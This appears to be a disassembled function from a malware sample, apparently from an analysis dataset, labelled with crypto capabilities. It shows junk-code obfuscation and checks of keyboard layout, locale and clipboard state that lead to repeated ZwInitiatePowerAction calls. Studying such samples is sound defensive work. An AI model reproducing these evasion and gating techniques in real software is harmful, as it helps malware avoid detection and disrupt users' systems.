Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
or edi, ebx
xor edi, ebx
and ebx, esi
bswap esi
call sub.user32.dll_GetKBCodePage
bswap esi
cmp eax, 0xfffffef0
jne 0x40107a
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
sub ebx, esi
rol ebx, 0xf
add ebx, edi
or esi, ebx
xchg edi, ebx
and edx, 0xd972868
sub ebx, edi
sub edi, edx
call sub.user32.dll_GetOpenClipboardWindow
and edi, ebx
cmp eax, 0xfffffefd
jne 0x401110
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
shr edx, 6
or esi, ebx
call sub.kernel32.dll_GetUserDefaultLCID
bswap edx
and ebx, 0xd9cf6d1
cmp eax, 0xffffff24
jne 0x401188
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
mov edi, esi
sub esi, ebx
xor ebx, 0xda04231
call sub.user32.dll_GetKBCodePage
shr esi, 1
mov ebx, esi
add esi, ebx
cmp eax, 0xffffff22
jne 0x40123b
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
call sub.ntdll.dll_ZwInitiatePowerAction
ret
jmp 0x4fb1b2
bswap ebx
mov edi, edx
add esi, edx
add edx, 0xf13001a
or esi, edx
or esi, ebx
xor edi, edx
jmp 0x4fba72
jmp loc.00502000
push 0xf1a4abd
mov edx, edi
nop
inc ecx
shr edx, 0xc
and edi, 0x18ff9a04
add ecx, ebx
mov ebx, ecx
add edi, edx
xor edx, edi
jmp 0x4fcc83
pop esi
mov edx, ecx
xor edx, ecx
not edx
add ebx, edx
or edi, ebx
and ebx, edx
ror ecx, 9
not edx
sub ebx, ecx
jmp 0x4fca5c
call fcn.004fc64e
add ecx, edx
inc edx
sub edx, 0x1a2d2bd4
xchg edx, ecx
jmp 0x4fcb37
mov esi, 0x2774562b
shr ecx, 0xe
xor edx, ecx
and edx, ebx
or ebx, ecx
or ebx, 0x1ab97624
xor edx, ebx
mov edi, edx
xchg ebx, edx
or ebx, 0x1abb4c70
or edi, 0x1abbc018
shl ebx, 0x15
xor ecx, ebx
or edx, 0x1abd0da3
xchg ecx, edx
jmp 0x4fba28
push 0xf1c029a
and edi, ebx
or ebx, 0x1bbccc51
add ecx, edx
mov ebx, ecx
mov edi, edx
xor edi, edx
sub edi, edx
or ecx, 0x1bd1631e
sub ebx, edi
or ecx, edx
jmp 0x4fd6ab
call esi
xchg edi, ebx
sub edx, ecx
mov edx, ecx
or edi, ebx
and edx, ebx
add edi, ecx
add ebx, edx
xor ebx, ecx
xchg edx, ecx
sub edi, edx
jmp 0x4fbd3d
mov esi, 0x2774562b
shr edx, 1
xchg ecx, edi
xor ecx, 0x1c333e29
and ebx, ecx
add edx, ebx
and ecx, ebx
mov ecx, ebx
add edx, ebx
add ebx, ecx
sub ebx, ecx
ror edi, 0x15
jmp 0x4fc10b
push 0xf1c61ec
mov edi, ebx
neg edi
neg ebx
rol edx, 0x11
or edi, ecx
and edx, 0x1debd279
or edx, ecx
mov ecx, 0x1deca45f
jmp 0x4fc507